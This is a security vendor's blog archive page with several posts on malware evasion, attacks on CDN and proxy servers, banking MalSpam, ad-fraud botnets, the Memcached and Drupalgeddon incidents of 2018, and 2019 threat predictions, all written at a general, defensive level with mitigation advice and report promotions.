Attack MitigationAttack Types & Vectors

5 Ways Malware Defeats Cyber Defenses & What You Can Do About It

January 17, 2019 — by Radware0


Malware is a key vector for data breaches. Research shows that 51% of data breaches include the usage of malware, whether for initial breach, expansion within the network or heisting data. Yet despite malware being a pivotal attack vector, companies are unable to defend against data-theft malware running wild in their network. In fact, some of the biggest and most well-publicized breaches ever were the result of undetected malware.

Why? Modern malware is built to evade traditional anti-malware defenses. Today’s malwares are sophisticated multi-vector attack weapons designed to elude detection using an array of evasion tools and camouflage techniques. In the game of chess between attackers and defenders, hackers constantly find new ways to stay one step ahead of existing defenses.

Modern Malware

Here are five common evasion techniques used by modern malware and how they beat traditional anti-malware defenses.

Polymorphic malware: Many traditional anti-malware defenses operate using known malware signatures. Modern data-theft malware counteracts this by constantly morphing or shapeshifting. By making simple changes to the code, attackers can easily generate an entirely new binary signature for the file.

Shapeshifting, zero-day malware beats signature-based defenses such as anti-virus, email filtering, IPS/IDS, and sandboxing.

File-less malware: Many anti-malware tools focus on static files and operating-systems (OS) processes to detect malicious activity. However, an increasingly common technique by attackers is to use file-less malware which is executed in run-time memory only, leaves no footprint on the target host and is therefore transparent to file-based defenses.

File-less malware beats IPS/IDS, UEBA, anti-virus, and sandboxing.

[You may also like: Threat Alert: MalSpam]

Encrypted payloads: Some anti-malware defense use content scanning to block sensitive data leakage. Attackers get around this by encrypting communications between infected hosts and Command & Control (C&C) servers.

Encrypted payloads beat DLP, EDR, and secure web gateways (SWG).

Domain generation algorithm (DGA): Some anti-malware defenses include addresses of known C&C servers, and block communication with them. However, malwares with domain generation capabilities get around this by periodically modifying C&C address details and using previously unknown addresses.

Beats secure web gateways (SWG), EDR, and sandboxing.

Host spoofing: spoofs header information to obfuscate the true destination of the data, thereby bypassing defenses that target the addresses of known C&C servers.

Beats secure web gateways (SWG), IPS/IDS and sandboxing.

[You may also like: Micropsia Malware]

What Can You Do?

Beating zero-day evasive malware is not easy, but there are several key steps you can take to severely limit its impact:

Apply multi-layer defenses: Protecting your organization against evasive malware is not a one-and-done proposition. Rather, it is an ongoing effort that requires combining endpoint defenses (such as anti-virus software) with network-layer protection such as firewalls, secure web gateways and more. Only multi-layered protection ensures complete coverage.

Focus on zero-day malware: Zero-day malware accounts for up to 50% of malware currently in circulation. Zero-day malware frequently goes unrecognized by existing anti-malware defenses and is a major source of data loss. Anti-malware defense mechanisms that focus squarely on identifying and detecting zero-day malwares is a must have.

[You may also like: The Changing Face of Malware: Malware Being Used as Cryptocurrency Miners]

Implement traffic analysis: Data theft malware attacks take aim at the entire network to steal sensitive data. Although infection might originate from user endpoints, it is typically the aim of attackers to expand to network resources as well. As a result, it is important for an anti-malware solution to not just focus on  one area of the network or resource type, but maintain a holistic view of the entire network and analyze what is happening.

Leverage big data: A key ingredient in detecting zero-day malware is the ability to collect data from a broad information base amassed over time. This allows defenders to detect malware activity on a global scale and correlate seemingly unrelated activities to track malware development and evolution.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

Attack Types & VectorsDDoSDDoS Attacks

Top 3 Cyberattacks Targeting Proxy Servers

January 16, 2019 — by Daniel Smith0


Today, many organizations are now realizing that DDoS defense is critical to maintaining an exceptional customer experience. Why? Because nothing diminishes load times or impacts the end user’s experience more than a cyberattack.

As a facilitator of access to content and networks, proxy servers have become a focal point for those seeking to cause grief to organizations via cyberattacks due to the fallout a successful assault can have.

Attacking the CDN Proxy

New vulnerabilities in content delivery networks (CDNs) have left many wondering if the networks themselves are vulnerable to a wide variety of cyberattacks. Here are five cyber “blind spots” that are often attacked – and how to mitigate the risks:

Increase in dynamic content attacks. Attackers have discovered that treatment of dynamic content requests is a major blind spot in CDNs. Since the dynamic content is not stored on CDN servers, all requests for dynamic content are sent to the origin’s servers. Attackers are taking advantage of this behavior to generate attack traffic that contains random parameters in HTTP GET requests. CDN servers immediately redirect this attack traffic to the origin—expecting the origin’s server to handle the requests. However, in many cases the origin’s servers do not have the capacity to handle all those attack requests and fail to provide online services to legitimate users. That creates a denial-of-service situation. Many CDNs can limit the number of dynamic requests to the server under attack. This means they cannot distinguish attackers from legitimate users and the rate limit will result in legitimate users being blocked.

SSL-based DDoS attacks. SSL-based DDoS attacks leverage this cryptographic protocol to target the victim’s online services. These attacks are easy to launch and difficult to mitigate, making them a hacker favorite. To detect and mitigate SSL-based attacks, CDN servers must first decrypt the traffic using the customer’s SSL keys. If the customer is not willing to provide the SSL keys to its CDN provider, then the SSL attack traffic is redirected to the customer’s origin. That leaves the customer vulnerable to SSL attacks. Such attacks that hit the customer’s origin can easily take down the secured online service.

[You may also like: SSL Attacks – When Hackers Use Security Against You]

During DDoS attacks, when web application firewall (WAF) technologies are involved, CDNs also have a significant scalability weakness in terms of how many SSL connections per second they can handle. Serious latency issues can arise. PCI and other security compliance issues are also a problem because they limit the data centers that can be used to service the customer. This can increase latency and cause audit issues.

Keep in mind these problems are exacerbated with the massive migration from RSA algorithms to ECC and DH-based algorithms.

Attacks on non-CDN services. CDN services are often offered only for HTTP/S and DNS applications.  Other online services and applications in the customer’s data center, such as VoIP, mail, FTP and proprietary protocols, are not served by the CDN. Therefore, traffic to those applications is not routed through the CDN. Attackers are taking advantage of this blind spot and launching attacks on such applications. They are hitting the customer’s origin with large-scale attacks that threaten to saturate the Internet pipe of the customer. All the applications at the customer’s origin become unavailable to legitimate users once the internet pipe is saturated, including ones served by the CDN.

[You may also like: CDN Security is NOT Enough for Today]

Direct IP attacks. Even applications that are served by a CDN can be attacked once attackers launch a direct hit on the IP address of the web servers at the customer’s data center. These can be network-based flood attacks such as UDP floods or ICMP floods that will not be routed through CDN services and will directly hit the customer’s servers. Such volumetric network attacks can saturate the Internet pipe. That results in degradation to application and online services, including those served by the CDN.

Web application attacks. CDN protection from threats is limited and exposes web applications of the customer to data leakage and theft and other threats that are common with web applications. Most CDN- based WAF capabilities are minimal, covering only a basic set of predefined signatures and rules. Many of the CDN-based WAFs do not learn HTTP parameters and do not create positive security rules. Therefore, these WAFs cannot protect from zero-day attacks and known threats. For companies that do provide tuning for the web applications in their WAF, the cost is extremely high to get this level of protection. In addition to the significant blind spots identified, most CDN security services are simply not responsive enough, resulting in security configurations that take hours to manually deploy. Security services are using technologies (e.g., rate limit) that have proven inefficient in recent years and lack capabilities such as network behavioral analysis, challenge-response mechanisms and more.

[You may also like: Are Your Applications Secure?]

Finding the Watering Holes

Waterhole attack vectors are all about finding the weakest link in a technology chain. These attacks target often forgotten, overlooked or not intellectually attended to automated processes. They can lead to unbelievable devastation. What follows is a list of sample watering hole targets:

  • App stores
  • Security update services
  • Domain name services
  • Public code repositories to build websites
  • Webanalytics platforms
  • Identity and access single sign-on platforms
  • Open source code commonly used by vendors
  • Third-party vendors that participate in the website

The DDoS attack on Dyn in 2016 has been the best example of the water-holing vector technique to date. However, we believe this vector will gain momentum heading into 2018 and 2019 as automation begins to pervade every aspect of our life.

Attacking from the Side

In many ways, side channels are the most obscure and obfuscated attack vectors. This technique attacks the integrity of a company’s site through a variety of tactics:

  • DDoS the company’s analytics provider
  • Brute-force attack against all users or against all of the site’s third-party companies
  • Port the admin’s phone and steal login information
  • Massive load on “page dotting”
  • Large botnets to “learn” ins and outs of a site

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

Application SecurityAttack MitigationAttack Types & Vectors

How Cyberattacks Directly Impact Your Brand: New Radware Report

January 15, 2019 — by Ben Zilberman0


Whether you’re an executive or practitioner, brimming with business acumen or tech savviness, your job is to preserve and grow your company’s brand. Brand equity relies heavily on customer trust, which can take years to build and only moments to demolish. 2018’s cyber threat landscape demonstrates this clearly; the delicate relationship between organizations and their customers is in hackers’ cross hairs and suffers during a successful cyberattack. Make no mistake: Leaders who undervalue customer trust–who do not secure an optimized customer experience or adequately safeguard sensitive data–will feel the sting in their balance sheet, brand reputation and even their job security.

Radware’s 2018-2019 Global Application and Network Security report builds upon a worldwide industry survey encompassing 790 business and security executives and professionals from different countries, industries and company sizes. It also features original Radware threat research, including an analysis of emerging trends in both defensive and offensive technologies. Here, I discuss key takeaways.

Repercussions of Compromising Customer Trust

Without question, cyberattacks are a viable threat to operating expenditures (OPEX). This past year alone, the average estimated cost of an attack grew by 52% and now exceeds $1 million (the number of estimations above $1 million increased 60%). For those organizations that formalized a real calculation process rather than merely estimate the cost, that number is even higher, averaging $1.67 million.

Despite these mounting costs, three in four have no formalized procedure to assess the business impact of a cyberattack against their organization. This becomes particularly troubling when you consider that most organizations have experienced some type of attack within the course of a year (only 7% of respondents claim not to have experienced an attack at all), with 21% reporting daily attacks, a significant rise from 13% last year.

There is quite a range in cost evaluation across different verticals. Those who report the highest damage are retail and high-tech, while education stands out with its extremely low financial impact estimation:

Repercussions can vary: 43% report a negative customer experience, 37% suffered brand reputation loss and one in four lost customers. The most common consequence was loss of productivity, reported by 54% of survey respondents. For small-to-medium sized businesses, the outcome can be particularly severe, as these organizations typically lack sufficient protection measures and know-how.

It would behoove all businesses, regardless of size, to consider the following:

  • Direct costs: Extended labor, investigations, audits, software patches development, etc.
  • Indirect costs: Crisis management, fines, customer compensation, legal expenses, share value
  • Prevention: Emergency response and disaster recovery plans, hardening endpoints, servers and cloud workloads

Risk Exposure Grows with Multi-Dimensional Complexity

As the cost of cyberattacks grow, so does the complexity. Information networks today are amorphic. In public clouds, they undergo a constant metamorphose, where instances of software entities and components are created, run and disappear. We are marching towards the no-visibility era, and as complexity grows it will become harder for business executives to analyze potential risks.

The increase in complexity immediately translates to a larger attack surface, or in other words, a greater risk exposure. DevOps organizations benefit from advanced automation tools that set up environments in seconds, allocate necessary resources, provision and integrate with each other through REST APIs, providing a faster time to market for application services at a minimal human intervention. However, these tools are processing sensitive data and cannot defend themselves from attacks.

Protect your Customer Experience

The report found that the primary goal of cyber-attacks is service disruption, followed by data theft. Cyber criminals understand that service disruptions result in a negative customer experience, and to this end, they utilize a broad set of techniques. Common methods include bursts of high traffic volume, usage of encrypted traffic to overwhelm security solutions’ resource consumption, and crypto-jacking that reduces the productivity of servers and endpoints by enslaving their CPUs for the sake of mining cryptocurrencies. Indeed, 44% of organizations surveyed suffered either ransom attacks or crypto-mining by cyber criminals looking for easy profits.

What’s more, attack tools became more effective in the past year; the number of outages grew by 15% and more than half saw slowdowns in productivity. Application layer attacks—which cause the most harm—continue to be the preferred vector for DDoSers over the network layer. It naturally follows, then, that 34% view application vulnerabilities as the biggest threat in 2019.

Essential Protection Strategies

Businesses understand the seriousness of the changing threat landscape and are taking steps to protect their digital assets. However, some tasks – such as protecting a growing number of cloud workloads, or discerning a malicious bot from a legitimate one – require leveling the defense up. Security solutions must support and enable the business processes, and as such, should be dynamic, elastic and automated.

Analyzing the 2018 threat landscape, Radware recommends the following essential security solution capabilities:

  1. Machine Learning: As hackers leverage advanced tools, organizations must minimize false positive calls in order to optimize the customer experience. This can be achieved by machine-learning capabilities that analyze big data samples for maximum accuracy (nearly half of survey respondents point at security as the driver to explore machine-learning based technologies).
  2. Automation: When so many processes are automated, the protected objects constantly change, and attackers quickly change lanes trying different vectors every time. As such, a security solution must be able to immediately detect and mitigate a threat. Solutions based on machine learning should be able to auto tune security policies.
  3. Real Time Intelligence: Cyber delinquents can disguise themselves in many forms. Compromised devices sometimes make legitimate requests, while other times they are malicious. Machines coming behind CDN or NAT can not be blocked based on IP reputation and generally, static heuristics are becoming useless. Instead, actionable, accurate real time information can reveal malicious activity as it emerges and protect businesses and their customers – especially when relying on analysis and qualifications of events from multiple sources.
  4. Security Experts: Keep human supervision for the moments when the pain is real. Human intervention is required in advanced attacks or when the learning process requires tuning. Because not every organization can maintain the know-how in-house at all times, having an expert from a trusted partner or a security vendor on-call is a good idea.

It is critical for organizations to incorporate cybersecurity into their long-term growth plans. Securing digital assets can no longer be delegated solely to the IT department. Rather, security planning needs to be infused into new product and service offerings, security, development plans and new business initiatives. CEOs and executive teams must lead the way in setting the tone and invest in securing their customers’ experience and trust.

Read “The Trust Factor: Cybersecurity’s Role in Sustaining Business Momentum” to learn more.

Download Now

Attack Types & VectorsSecurity

Threat Alert: MalSpam

January 10, 2019 — by Daniel Smith0


Radware researchers have been following multiple campaigns targeting the financial industry in Europe and the United States. These campaigns are designed to commit fraud via credential theft by sending MalSpam, malicious spam that contains banking malware like Trickbot and Emotet, to unsuspecting users. If the users open the document, they will become infected, and the malware will harvest and extract data from the victim’s machine for fraudulent purposes. Once the data is retrieved from their c2 server, the stolen credentials will be used to commit fraud against the victim’s bank account, leveraged in a credential stuffing attack or quickly sold for profit.

One of the things that make these two pieces of banking malware stand out is their ability to evolve and consistently update their modules to allow additional capabilities. Additionally, we have seen denial of service attacks in the past that have coincided with these security events. Occasionally attackers have been known to launch a flood of malicious traffic, known as a smoke screen attack, to distract network operators from other nefarious activity such as data exfiltration. These attacks typically will not exhaust network resources since the criminals still need access.

To read the full ERT Threat Alert, click here.

Attack Types & VectorsBotnetsSecurity

Ad Fraud 101: How Cybercriminals Profit from Clicks

January 3, 2019 — by Daniel Smith1


Fraud is and always will be a cornerstone of the cybercrime community. The associated economic gains provide substantial motivation for today’s malicious actors, which is reflected in the rampant use of identity and financial theft, and ad fraud. Fraud is, without question, big business. You don’t have to look far to find websites, on both the clear and the darknet, that profit from the sale of your personal information.

Fraud-related cyber criminals are employing an evolving arsenal of tactics and malware designed to engage in these types of activities. What follows is an overview.

Digital Fraud

Digital fraud—the use of a computer for criminal deception or abuse of web enabled assets that results in financial gain—can be categorized and explained in three groups for the purpose of this blog: basic identity theft with the goal of collecting and selling identifiable information, targeted campaigns focused exclusively on obtaining financial credentials, and fraud that generates artificial traffic for profit.

Digital fraud is its own sub-community consistent with typical hacker profiles. You have consumers dependent on purchasing stolen information to commit additional fraudulent crime, such as making fake credit cards and cashing out accounts, and/or utilizing stolen data to obtain real world documents like identification cards and medical insurance. There are also general hackers, motivated by profit or disruption, who publicly post personally identifiable information that can be easily scraped and used by other criminals. And finally, there are pure vendors who are motivated solely by profit and have the skills to maintain, evade and disrupt at large scales.

[You may also like: IoT Hackers Trick Brazilian Bank Customers into Providing Sensitive Information]

  • Identity fraud harvests complete or partial user credentials and personal information for profit. This group mainly consists of cybercriminals who target databases with numerous attack vectors for the purposes of selling the obtained data for profit. Once the credentials reach their final destination, other criminals will use the data for additional fraudulent purposes, such as digital account takeover for financial gains.
  • Banking fraud harvests banking credentials, digital wallets and credit cards from targeted users. This group consists of highly talented and focused criminals who only care about obtaining financial information, access to cryptocurrency wallets or digitally skimming credit cards. These criminals’ tactics, techniques and procedures (TTP) are considered advanced, as they often involve the threat actor’s own created malware, which is updated consistently.
  • Ad fraud generates artificial impressions or clicks on a targeted website for profit. This is a highly skilled group of cybercriminals that is capable of building and maintaining a massive infrastructure of infected devices in a botnet. Different devices are leveraged for different types of ad fraud but generally, PC-based ad fraud campaigns are capable of silently opening an internet browser on the victim’s computer and clicking on an advertisement.

Ad Fraud & Botnets

Typically, botnets—the collection of compromised devices that are often referred to as a bot and controlled by a malicious actor, a.k.a. a “bot herder—are associated with flooding networks and applications with large volumes of traffic. But they also send large volumes of malicious spam, which is leveraged to steal banking credentials or used to conduct ad fraud.

However, operating a botnet is not cheap and operators must weigh the risks and expense of operating and maintaining a profitable botnet. Generally, a bot herder has four campaign options (DDoS attacks, spam, banking and ad fraud) with variables consisting of research and vulnerability discovery, infection rate, reinfection rate, maintenance, and consumer demand.

[You may also like: IoT Botnets on the Rise]

With regards to ad fraud, botnets can produce millions of artificially generated clicks and impressions a day, resulting in a financial profit for the operators. Two recent ad fraud campaigns highlight the effectiveness of botnets:

  • 3ve, pronounced eve, was recently taken down by White Owl, Google and the FBI. This PC-based botnet infected over a million computers and utilized tens of thousands of websites for the purpose of click fraud activities. The infected users would never see the activity conducted by the bot, as it would open a hidden browser outside the view of the user’s screen to click on specific ads for profit.
  • Mirai, an IoT-based botnet, was used to launch some of the largest recorded DDoS attacks in history. When the co-creators of Mirai were arrested, their indictments indicated that they also engaged in ad fraud with this botnet. The actors were able to conduct what is known as an impression fraud by generating artificial traffic and directing it at targeted sites for profit. 

[You may also like: Defending Against the Mirai Botnet]

The Future of Ad Fraud

Ad fraud is a major threat to advertisers, costing them millions of dollars each year. And the threat is not going away, as cyber criminals look for more profitable vectors through various chaining attacks and alteration of the current TTPs at their disposal.

As more IoT devices continue to be connected to the Internet with weak security standards and vulnerable protocols, criminals will find ways to maximize the profit of each infected device. Currently, it appears that criminals are looking to maximize their new efforts and infection rate by targeting insecure or unmaintained IoT devices with a wide variety of payloads, including those designed to mine cryptocurrencies, redirect users’ sessions to phishing pages or conduct ad fraud.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Application SecurityAttack MitigationAttack Types & VectorsSecurity

10 Most Popular Blogs of 2018

December 27, 2018 — by Radware0


Between large scale cyberattacks, the implementation of GDPR and increasing popularity of smart home technologies (and their associated vulnerabilities), we had a lot to write about this year. Of the hundreds of blogs we published in 2018, several floated to the top in terms of readership. Below, we recap the ten most popular blogs of 2018.

Consumer Sentiments About Cybersecurity and What It Means for Your Organization

Over the past six months, the data breaches against companies such as Panera BreadDelta Airlines and Sears, and Saks have proven we live in an age where cyberattacks and data breaches are now commonplace. The result? Cybersecurity is no longer just the topic of conversation of tech gurus and IT personnel. It has transitioned into the mainstream conversation and has become a concern of the masses. Consumers are now concerned that the organizations they are conducting business with are proactive about safeguarding their information and how they will fix it if a breach does occur. Read more…

New Threat Landscape Gives Birth to New Way of Handling Cyber Security

With the growing online availability of attack tools and services, the pool of possible attacks is larger than ever. Let’s face it, getting ready for the next cyber-attack is the new normal! This ‘readiness’ is a new organizational tax on nearly every employed individual throughout the world. Amazingly enough, attackers have reached a level of maturity and efficiency – taking advantage of the increased value and vulnerability of online targets, and resulting in a dramatic increase in attack frequency, complexity and size. Read more…

The Evolution of IoT Attacks

IoT devices are nothing new, but the attacks against them are. They are evolving at a rapid rate as growth in connected devices continues to rise and shows no sign of letting up. One of the reasons why IoT devices have become so popular in recent years is because of the evolution of cloud and data processing which provides manufacturers cheaper solutions to create even more ‘things’. Before this evolution, there weren’t many options for manufacturers to cost-effectively store and process data from devices in a cloud or data center.  Older IoT devices would have to store and process data locally in some situations. Today, there are solutions for everyone and we continue to see more items that are always on and do not have to store or process data locally. Read more…

Are Your Applications Secure?

As we close out a year of headline-grabbing data breaches (British Airways, Under Armor, Panera Bread), the introduction of GDPR and the emergence of new application development architectures and frameworks, Radware examined the state of application security in its latest report. This global survey among executives and IT professionals yielded insights about threats, concerns and application security strategies. Read more…

Snapshot of the Most Important Worldwide Cybersecurity Laws, Regulations, Directives and Standards

Are you out of breath from the breakneck pace of cyberattacks since the start of 2018? Throughout the world, nearly daily news reports have been filed detailing the results of incredibly effective cyberattacks ranging from small companies to nation-states. The sum total of these attacks has permanently and dramatically changed the information security threat landscape.  This change hasn’t gone unnoticed with the regulators and now, depending on where your business operates, you have accrued even more work to demonstrate your diligence to these threats. Read more…

Credential Stuffing Campaign Targets Financial Services

Over the last few weeks, Radware has been tracking a significant Credential Stuffing Campaign targeting the financial industry in the United States and Europe. Credential Stuffing is an emerging threat in 2018 that continues to accelerate as more breaches occur. Today, a breach doesn’t just impact the compromised organization and its users, but it also affects every other website that the users may use. Read more…

Is My Smart Home Telling People What I Do Every Day?

The overall smart home market is expected to grow to over $50 billion by 2022.  Already 1 in 4 U.S. households has some kind of smart device in their home.  With all the smart thermostats, smart fridges, smart light bulbs, smart doors and windows, personal assistants, and smart home surveillance, internet-connected home devices are rapidly stacking up in U.S. households. These devices are adding convenience and efficiency, but are they safe? Read more…

Machine Learning Algorithms for Zero Time to Mitigation

Effective DDoS protection combines machine-learning algorithms with negative and positive protection models, as well as rate limiting. The combination of these techniques ensures zero time to mitigation and requires little human intervention. Read more…

Cybersecurity & The Customer Experience: The Perfect Combination

Organizations have long embraced the customer experience and declared it a competitive differentiator. Many executives are quick to focus on the benefits of a loyal-centric strategy and companies now go to great lengths to communicate their organization’s customer centricity to retain existing customers and attract new ones. But where is cybersecurity in this discussion? Read more…

Nigelthorn Malware Abuses Chrome Extensions to Cryptomine and Steal Data

On May 3, 2018, Radware’s cloud malware protection service detected a zero-day malware threat at one of its customers, a global manufacturing firm, by using machine-learning algorithms. This malware campaign is propagating via socially-engineered links on Facebook and is infecting users by abusing a Google Chrome extension (the ‘Nigelify’ application) that performs credential theft, cryptomining, click fraud and more. Read more…

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

Attack Types & VectorsDDoSDDoS Attacks

2018 In Review: Memcache and Drupalgeddon

December 20, 2018 — by Daniel Smith0


Attackers don’t just utilize old, unpatched vulnerabilities, they also exploit recent disclosures at impressive rates. This year we witnessed two worldwide events that highlight the evolution and speed with which attackers will weaponize a vulnerability: Memcache and Druppalgeddon.

Memcached DDoS Attacks

In late February, Radware’s Threat Detection Network signaled an increase in activity on UDP port 11211. At the same time, several organizations began alerting to the same trend of attackers abusing Memcached servers for amplified attacks. A Memcached amplified DDoS attack makes use of legitimate third-party Memcached servers to send spoofed attack traffic to a targeted victim. Memcached, like other UDP-based services (SSDP, DNS and NTP), are Internet servers that do not have native authentication and are therefore hijacked to launch amplified attacks against their victims. The Memcached protocol was never intended to be exposed to the Internet and thus did not have sufficient security controls in place. Because of this exposure, attackers are able to abuse Memcached UDP port 11211 for reflective, volumetric DDoS attacks.

On February 27, Memcached version 1.5.6 was released which noted that UDP port 11211 was exposed and fixed the issue by disabling the UDP protocol by default. The following day, before the update could be applied, attackers leveraged this new attack vector to launch the world’s largest DDoS attack, a title previously held by the Mirai botnet.

There were two main concerns with regards to the Memcached vulnerability. The first is centered around the number of exposed Memcached servers. With just under 100,000 servers and only a few thousand required to launch a 1Tbps attack, the cause for concern is great. Most organizations at this point are likely unaware that they have vulnerable Memcached servers exposed to the Internet and it takes time to block or filter this service. Memcached servers will be vulnerable for some time, allowing attackers to generate volumetric DDoS attacks with few resources.

[You may also like: Entering into the 1Tbps Era]

The second concern is the time it took attackers to begin exploiting this vulnerability. The spike in activity was known for several days prior to the patch and publication of the Memcached vulnerability. Within 24 hours of publication, an attacker was able to build an amplification list of vulnerable MMemcached servers and launch the massive attack.

Adding to this threat,, a notorious stresser service, quickly incorporated Memcache into their premium offerings after the disclosure. Stresser services are normally quick to utilize the newest attack vector for many reasons. The first reason being publicity. Attackers looking to purchase DDoS-as-a-service will search for a platform offering the latest vectors. Including them in a service shows demand for the latest vectors. In addition, an operator might include the Memcache DDoS-as-a-service so they can provide their users with more power. A stresser service offering a Memcache DDoS-as-a-service will likely also attract more customers who are looking for volume and once again plays into marketing and availability.

[You may also like: The Rise of Booter and Stresser Services]

DDoS-as-a-service operators are running a business and are currently evolving at rapid rates to keep up with demand. Oftentimes, these operators are using the public attention created by news coverage similar to extortionists. Similarly, ransom denial-of-service (RDoS) operators are quick to threaten the use of new tools due to the risks they pose. DDoS-as-a-service will do the same, but once the threat is mitigated by security experts, cyber criminals will look for newer vectors to incorporate  into their latest toolkit or offerings.

This leads into the next example of Drupalgeddon campaign and how quickly hacktivists incorporated this attack vector into their toolkit for the purpose of spreading messages via defacements.


In early 2018, Radware’s Emergency Response Team (ERT) was following AnonPlus Italia, an Anonymous-affiliated group that was engaged in digital protests throughout April and May. The group–involved in political hacktivism as they targeted the Italian government–executed numerous web defacements to protest war, religion, politics and financial power while spreading a message about their social network by abusing the content management systems (CMS).

On April 20, 2018 AnonPlus Italia began a new campaign and defaced two websites to advertise their website and IRC channel. Over the next six days, AnonPlus Italia would claim responsibility for defacing 21 websites, 20 of which used the popular open-source CMS Drupal.

[You may also like: Hacking Democracy: Vulnerable Voting Infrastructure and the Future of Election Security]

Prior to these attacks, on March 29, 2018, the Drupal security team released a patch for a critical remote code execution (RCE) against Drupal that allowed attackers to execute arbitrary code on unpatched servers as a result of an issue affecting multiple subsystems with default or common module configurations. Exploits for CVE-2018-7600 were posted to Github and Exploit-DB under the guise of education purposes only. The first PoC was posted to Exploit DB on April 13, 2018. On April 14, Legion B0mb3r, a member of the Bangladesh-based hacking group Err0r Squad, posted a video to YouTube demonstrating how to use this CVE-2018-7600 to deface an unpatched version of Drupal. A few days later, on April 17, a Metasploit module was also released to the public.

In May, AnonPlus Italia executed 27 more defacements, of which 19 were Drupal.

Content management systems like WordPress and Joomla are normally abused by Anonymous hacktivists to target other web servers. In this recent string of defacements, the group AnonPlus Italia is abusing misconfigured or unpatched CMS instances with remote code exploits, allowing them to upload shells and deface unmaintained websites for headline attention.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

Attack Types & VectorsCloud SecurityDDoS AttacksSecurity

2019 Predictions: Will Cyber Serenity Soon Be a Thing of the Past?

November 29, 2018 — by Daniel Smith0


In 2018 the threat landscape evolved at a breakneck pace, from predominantly DDoS and ransom attacks (in 2016 and 2017, respectively), to automated attacks. We saw sensational attacks on APIs, the ability to leverage weaponized Artificial Intelligence, and growth in side-channel and proxy-based attacks.

And by the looks of it, 2019 will be an extension of the proverbial game of whack-a-mole, with categorical alterations to the current tactics, techniques and procedures (TTPs). While nobody knows exactly what the future holds, strong indicators today enable us to forecast trends in the coming year.

The public cloud will experience a massive security attack

The worldwide public cloud services market is projected to grow 17.3 percent in 2019 to total $206.2 billion, up from $175.8 billion in 2018, according to Gartner, Inc. This means organizations are rapidly shifting content to the cloud, and with that data shift comes new vulnerabilities and threats. While cloud adoption is touted as faster, better, and easier, security is often overlooked for performance and overall cost. Organizations trust and expect their cloud providers to adequately secure information for them, but perception is not always a reality when it comes to current cloud security, and 2019 will demonstrate this.

[You may also like: Cloud vs DDoS, the Seven Layers of Complexity]

Ransom techniques will surge

Ransom, including ransomware and ransom RDoS, will give way to hijacking new embedded technologies, along with holding healthcare systems and smart cities hostage with the launch of 5G networks and devices. What does this look like? The prospects are distressing:

  • Hijacking the availability of a service—like stock trading, streaming video or music, or even 911—and demanding a ransom for the digital return of the devices or network.
  • Hijacking a device. Not only are smart home devices like thermostats and refrigerators susceptible to security lapses, but so are larger devices, like automobiles.
  • Healthcare ransom attacks pose a particularly terrifying threat. As healthcare is increasingly interwoven with cloud-based monitoring, services and IoT embedded devices responsible for administering health management (think prescriptions/urgent medications, health records, etc.) are vulnerable, putting those seeking medical care in jeopardy of having their healthcare devices that they a dependent on being targeted by malware or their devices supporting network being hijacked.

[You may also like: The Origin of Ransomware and Its Impact on Businesses]

Nation state attacks will increase

As trade and other types of “soft-based’ power conflicts increase in number and severity, nation states and other groups will seek new ways of causing widespread disruption including Internet outages at the local or regional level, service outages, supply chain attacks and application blacklisting by government in attempted power grabs. Contractors and government organizations are likely to be targeted, and other industries will stand to lose millions of dollars as indirect victims if communications systems fail and trade grinds to a halt.

More destructive DDoS attacks are on the way

Over the past several years, we’ve witnessed the development and deployment of massive IoT-based botnets, such as Mirai, Brickerbot, Reaper and Haijme, whose systems are built around thousands of compromised IoT devices.  Most of these weaponized botnets have been used in cyberattacks to knock out critical devices or services in a relatively straightforward manner.

Recently there has been a change in devices targeted by bot herders. Based on developments we are seeing in the wild, attackers are not only infiltrating resource-constrained IoT devices, they are also targeting powerful cloud-based servers. When targeted, only a handful of compromised instances are needed to create a serious threat. Since IoT malware is cross-compiled for many platforms, including x86_64, we expect to see attackers consistently altering and updating Mirai/Qbot scanners to include more cloud-based exploits going into 2019.

[You may also like: IoT Botnets on the Rise]

Cyber serenity may be a thing of the past

If the growth of the attack landscape continues to evolve into 2019 through various chaining attacks and alteration of the current TTP’s to include automated features, the best years of cybersecurity may be behind us. Let’s hope that 2019 will be the year we collectively begin to really share intelligence and aid one another in knowledge transfer; it’s critical in order to address the threat equation and come up with reasonable and achievable solutions that will abate the ominous signs before us all.

Until then, pay special attention to weaponized AI, large API attacks, proxy attacks and automated social engineering. As they target the hidden attack surface of automation, they will no doubt become very problematic moving forward.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

Attack Types & VectorsBotnetsDDoS AttacksSecurity

Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens1

  • Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
  • 1065 servers are exposed and vulnerable
  • The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
  • Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
  • A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
  • In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
  • Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
  • Online businesses should care, too. They can be the target of DDoS attacks.
  • Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

[You may also like: New DemonBot Discovered]

